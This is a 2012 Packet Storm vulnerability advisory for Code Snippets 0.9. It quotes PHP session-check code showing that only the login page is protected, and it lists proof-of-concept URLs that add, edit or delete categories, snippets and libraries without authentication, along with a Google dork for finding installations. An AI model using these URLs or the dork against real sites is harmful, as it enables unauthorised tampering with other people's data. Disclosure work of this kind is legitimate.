what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Code Snippets 0.9 Insecure Session

Code Snippets 0.9 Insecure Session
Posted Jun 30, 2012
Authored by L3b-r1'z

Code Snippets version 0.9 fails to authenticate access to edit, add, and delete functionality.

tags | exploit
SHA-256 | 5db571f0a1abb0bb012940ff3fdac4128f570d8e02beda7d9463173d793ade83

Code Snippets 0.9 Insecure Session

Change Mirror Download
# --------------------------------------- #
Author : L3b-r1'z
Title : Code Snippets Version 0,9 insecure session
Date : 6/30/2012
Email : L3br1z@Gmail.com
Site : Sec4Ever.com & Exploit4arab.com
Google Dork : allintext: "Powered by: PHP-CSL V0.9"
Version : 1.1.0
[ 6/30/2012 ] - Vulnerability discovered
[ 6/30/2012 ] - Vendor Contacted But No Response.
[ 6/30/2012 ] - Public disclosure
# --------------------------------------- #
This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
# --------------------------------------- #
1) Bug
2) PoC
# --------------------------------------- #
2) Bug :

Look to file named config in line (120) to (138)


if(!session_is_registered('phpcsl') &&
!isset($_GET['login']) && isset($_GET['act'])) {

if(!$_GET['act'] == "session") {
$ur = "index.php?login=y&q=".base64_encode(querystr());
header("Location: $ur");
}
}


// build URL querystring
function querystr() {
global $HTTP_GET_VARS;
$q = "";
foreach($HTTP_GET_VARS as $n => $m) {
$q .= "$n=$m&";
}
return $q;
}

Here the file just secured the login page
but not secured the add snip or edit or delete
thats mean an attacker can add snippets or edit or delete or add category
:D
# --------------------------------------- #
3) PoC :
http://localhost/codesnippets/index.php?op=cats&act=add - Add new Category
http://localhost/codesnippets/index.php?op=snips&act=add - Add new snippets
http://localhost/codesnippets/index.php?op=cats&act=edit - rename category
http://localhost/codesnippets/index.php?op=cats&act=delete - delete category
http://localhost/codesnippets/index.php?op=lib&act=add - add new library
http://localhost/codesnippets/index.php?op=lib&act=edit - rename library
http://localhost/codesnippets/index.php?op=lib&act=delete - delete library
# --------------------------------------- #
<< EOF
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close